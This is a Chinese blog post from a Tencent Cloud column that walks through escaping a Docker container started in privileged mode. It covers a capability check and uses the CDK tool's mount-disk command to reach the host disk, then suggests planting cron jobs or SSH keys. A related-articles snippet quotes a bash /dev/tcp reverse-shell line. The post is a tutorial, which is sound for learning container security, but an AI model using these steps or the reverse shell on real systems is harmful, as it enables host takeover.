Loading [MathJax]/jax/input/TeX/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Docker Privileged特权逃逸

Docker Privileged特权逃逸

作者头像
Al1ex
发布于 2023-05-12 03:30:31
发布于 2023-05-12 03:30:31
3.5K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
文章前言

Docker中Privileged是一种特殊的权限模式,它允许Docker容器在启动时获取到与宿主机相同的权限级别。具体来说,Privileged权限可以让容器拥有以下能力:

1、访问宿主机的所有设备文件 2、在容器内部运行与宿主机上相同的内核模块 3、能够修改容器内部的网络配置 4、可以使用mount命令挂载宿主机上任意文件系统

需要注意的是使用Privileged权限可以给容器带来更高的权限,但同时也会带来安全风险。因此,在使用Privileged权限时应该非常谨慎,并且只应该在特定场景下使用,例如需要进行底层系统调试或者测试等需要访问宿主机资源的场景。

漏洞概述

操作者使用特权模式启动的容器时,Docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

环境搭建
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker run -v /home/ubuntu/cdk:/cdk --rm -it --privileged ubuntu bash
特权检测

在容器中时可以通过如下参数检测当前容器是否是以特权模式启动:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /proc/self/status | grep CapEff

如果是以特权模式启动的话,CapEff对应的掩码值为0000003fffffffff

通过capsh命令可以解码出具体的Capabilitie

漏洞利用

Step 1:容器内部执行以下命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./cdk run mount-disk

Step 2:在容器内部进入挂载目录,直接管理宿主机磁盘文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd /tmp/cdk_dyyop
ls -al

Step 3:之后写入计划任务或者通过写入SSH公钥并进行远程连接获取主机权限即可(ubuntu中计划任务总是有问题很迷)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-04-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
带你玩转docker容器逃逸
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
Khan安全团队
2023/11/28
2.6K0
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
没事就要多学习
2024/07/18
3000
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
浅析docker的多种逃逸方法
Docker实现原理:https://zone.huoxian.cn/d/1034-docker
UzJu@菜菜狗
2022/04/25
6.6K0
浅析docker的多种逃逸方法
Docker容器逃逸
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/12/25
8320
Docker容器逃逸
K8s攻击案例:Privileged特权容器导致节点沦陷
特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。
Bypass
2023/12/24
1.4K0
K8s攻击案例:Privileged特权容器导致节点沦陷
CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
谢公子
2023/09/01
1.1K0
CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
集群安全之Privileged特权模式逃逸
当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作
Al1ex
2023/10/28
9000
集群安全之Privileged特权模式逃逸
Docker逃逸原理
Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。
枪哥四海为家
2022/03/07
3.3K1
Docker逃逸原理
【云原生攻防研究】针对容器的渗透测试方法
近期笔者在进行相关调研时,读到一篇总结容器环境下渗透测试方法的2020年毕业论文,作者是Joren Vrancken,就读于荷兰奈梅亨大学计算机科学专业。
绿盟科技研究通讯
2020/04/26
2.6K0
【云原生攻防研究】针对容器的渗透测试方法
技术干货 | Docker 容器逃逸案例汇集
当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。
Bypass
2020/08/09
3K0
容器安全机制解读
Docker默认设置可以保护主机容器内的进程访问资源,虽然Docker容器内的初始进程运行为root,但它具有的权限是非常有限的,这主要是通过使用以下几种主要的安全机制来实现的:
Al1ex
2023/12/22
6840
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
谢公子
2023/09/01
1.2K0
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
Docker容器信息收集
本篇文章我们主要介绍在渗透测试过程中在获取到容器权限的情况下对容器进行有效的信息收集
Al1ex
2022/09/07
4320
Docker容器信息收集
云安全容器安全扫盲 之 CDK工具介绍与使用
MS08067安全实验室不会对圈内任何机构、公司发起任何舆论攻击、诋毁。也欢迎各界朋友各种形式的合作!
Ms08067安全实验室
2022/04/06
3.5K0
云安全容器安全扫盲 之 CDK工具介绍与使用
云原生安全 | docker容器逃逸
随着云计算技术的不断发展,越来越多的企业开始上“云”。云原生计算基金会(CNCF)提出了云原生(Cloud Native)的概念,云原生包含了一组应用的模式,用于帮助企业快速,持续,可靠,规模化地交付业务应用。云原生由微服务架构,DevOps 和以容器为代表的敏捷基础架构组成。
tinyfisher
2020/08/13
2.5K0
云原生安全 | docker容器逃逸
授权的一次测试记录
声明:本文中所测试的站点已获得授权进行渗透测试,任何模仿或借鉴本文思路或方法所造成的损失及引起的后果,请自行承担责任!!!
Tommonkey
2023/03/20
6050
授权的一次测试记录
Linux Capabilities 与容器的水乳交融
更多奇技淫巧欢迎订阅博客:https://fuckcloudnative.io 前言 该系列文章总共分为三篇: ?Linux Capabilities 入门教程:概念篇 ?Linux Capabili
米开朗基杨
2020/10/30
2.2K0
Linux Capabilities 与容器的水乳交融
记一次docker逃逸学习
这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
红队蓝军
2022/05/17
9500
记一次docker逃逸学习
实战|记一次逃逸Docker渗透测试
这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
HACK学习
2021/08/13
2.4K0
ATT&CK实战系列-红队评估(七)学习记录
Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
FB客服
2022/11/14
1.4K0
ATT&CK实战系列-红队评估(七)学习记录
相关推荐
带你玩转docker容器逃逸
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验